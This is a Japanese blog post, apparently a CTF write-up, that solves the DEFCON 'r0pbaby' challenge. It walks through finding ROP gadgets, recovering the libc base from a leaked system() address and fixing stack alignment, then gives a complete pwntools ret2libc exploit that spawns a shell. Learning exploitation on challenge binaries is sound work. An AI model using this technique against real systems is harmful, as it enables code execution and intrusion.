newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 4.2】r0pbaby - DEFCON CTF 2015

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

1: イントロ

pataリスト3問目

DEFCON 2016 の baby 問題 "r0pbaby"

 

ROPは練習してきたxyzでは殆ど出ないため

色々と不慣れで時間がかかってしまった

 

 

 

2: 静的解析

 

./r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

 

strippedで動的リンク

FORTIFYってなによ。。。

 

 

 

3: 基本方針

baby問題特有の学習用の問題の感じ

以下の操作を提供してくれる

 

・libcのベースアドレスを出力 ... ? ( 後に害悪の存在に )

・libcのsystem関数のアドレスを出力

・mainのスタックフレームのRBP+0 の位置に任意長のデータを書き込む

 

タイトル的にも明らかにROPをすればいい問題

構築するROP gadgetは以下の通り

 

PADDING ( to erase old ebp )

___________________________

RDI gadget addr

___________________________

/bin/sh addr

___________________________

system addr

___________________________

 

 

4: gadgetを探す

 

第一引数に /bin/sh を入れた状態でsystemを呼び出せばいいため

まずは pop rdi; ret; をしてくれるgadgetを探す

$ ldd ./r0pbaby
	linux-vdso.so.1 (0x00007ffd6d3ec000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f6c68e20000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6c68a2f000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f6c69227000)
$ rp -f /lib/x86_64-linux-gnu/libc.so.6 -r 2 --unique | grep "pop rdi ; ret  ;"
0x0002155f: pop rdi ; ret  ;  (490 found)

0x2155fにgadgetがあることがわかった

なおこれはlibc内でのoffsetであるから別途base addrが必要になるが

それはプログラムの機能として提供されている

( ... ことに一応なっているがこいつに足取られた。後述)

 

続いてこのgadgetでpopするための文字列のアドレスを探す

strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 1b3e9a /bin/sh
 

 

最後にsystem関数のアドレスだが

これもプログラムが提供してくれるため実行中に取得する



5: 1つ目の関門: libc base addr違うじゃん

以上を踏まえてrop chainを組み

exploitを実行したところ

実行中にプロセスが落ちた

 

gdbで調べてみると

最初のRDI gadgetに飛んだ直後に

SIGSEGVが出たようだ

その地点の命令を見たところ予期していた命令と違っていた

ということはlibcのアドレスが正常でないということになる

( offset は確実に正しいため )

 

f:id:smallkirby:20190823220748p:plain

 

system(in)はlibcを直接調べて得たオフセット

libc addrはプログラムが出力したベースアドレス

systemもプログラムが出力したアドレスである

前者2個の和がsystemと一致していないことからもlibc baseが間違っていることが伺える

 

このbase addrがどうやって与えられているのかをghidraでみてみると・・・

 

    puts("\nWelcome to an easy Return Oriented Programming challenge...");
    puts("Menu:");
    uVar2 = dlopen("libc.so.6",0x1);
    do {
        while( true ) {
        
... snipped ... 

            if (iVar5 == 0x1) {
                __printf_chk(0x1,"libc.so.6: 0x%016llX\n",uVar2);
            }

 

dlopenで獲得した値を出力しているようだ

この関数についていろいろ調べてみると以下のページが参考になった

stackoverflow.com

 

最初の静的解析で見たようにこのバイナリはPIE有効である

そのためバイナリ中に書かれているロードアドレスと実際にロードされるアドレスが一致しなくなるそうだ

(詳細はわからない)

おそらくdlopenのl_addrメンバはヘッダ情報を見てアドレスを返すため

実際のアドレスとは異なるのだと考えられる

 

一方systemのアドレスもdlopenの返り値を元に入手しているのに

こちらのアドレスはなぜか正常であった

 

まぁ理由はわからないがsystemのアドレスが正しいのならば

systemアドレスから事前に調べておいたsystem offsetを引けば

libc base addrが求められる

とりえあえずはこれでいいとしようじゃないか



6: 第2の関門: system関数内で落ちる ~ 憎きmovaps ~

これでsystem関数に引数 /bin/sh で入ることはできた

だが今度はsystem内でSIGSEGVが出る

 

レジスタの状態は以下の通りで正常なはずだ

 

f:id:smallkirby:20190823222144p:plain



どうやら以下の命令で落ちているようだ

 

f:id:smallkirby:20190823222336p:plain



 

0アドレスを参照しているため落ちるのは当然だが

何故この状態になるのかわからなかったため詳しい人に聞いた

 

movapsでは強制的にスタックの16byte alignが要求されるようだ

憎きmovapsめ・・・



回避策としてはROP chainの先頭に

単なるretだけをするgadgetへのアドレスを噛ませるだけである

( ret2ret2libc 的な らしい)

 

この方法で無事にsystemを終えることができた




7: exploit

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./r0pbaby"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(libc)

#preparatory investigation
binsh_off = 0x1b3e9a
rdi_gadget_off = 0x2155f
ret_gadget_off = 0x2c37

#多分だけどdlopenのl_addrに入ってるのは
#リンクアドレスであって実際にロードされたアドレスではない
#よって1で返されるアドレスは意味がない気がする

def exploit(conn):
  global rop

  #get libc base <-- this addr is invalid due to PIE
  #conn.recvuntil(": ")
  #conn.sendline("1")
  #libc.address = int(conn.recvline()[len("libc.so.6: 0x"):],16)
  #print("libc addr: "+hex(libc.address))
  #print("system(in): "+hex(libc.functions["system"].address))

  #get system addr 
  conn.recvuntil(": ")
  conn.sendline("2")
  conn.recvuntil(": ")
  conn.sendline("system")
  addr_system = int(conn.recvline()[-16:],16)
  print("system   : "+hex(addr_system))

  #calc libc base with system's addr and 's offset
  libc.address = addr_system - libc.functions["system"].address

  #generate rop chain
  rop.raw("A"*8)
  rop.raw(libc.address + ret_gadget_off)
  rop.raw(libc.address + rdi_gadget_off)
  rop.raw(libc.address + binsh_off)
  rop.raw(addr_system)
  print(rop.dump())

  #inject rop chain on the stack ($rbp+0)
  conn.recvuntil(": ")
  conn.sendline("3")
  conn.sendline(str(len(str(rop))))
  conn.send(str(rop))

  #exit and run rop
  conn.recvuntil(": ")
  conn.sendline("4")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

 




8: 結果

 f:id:smallkirby:20190823223229p:plain

無事にフラグが取れました






続く・・・






You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.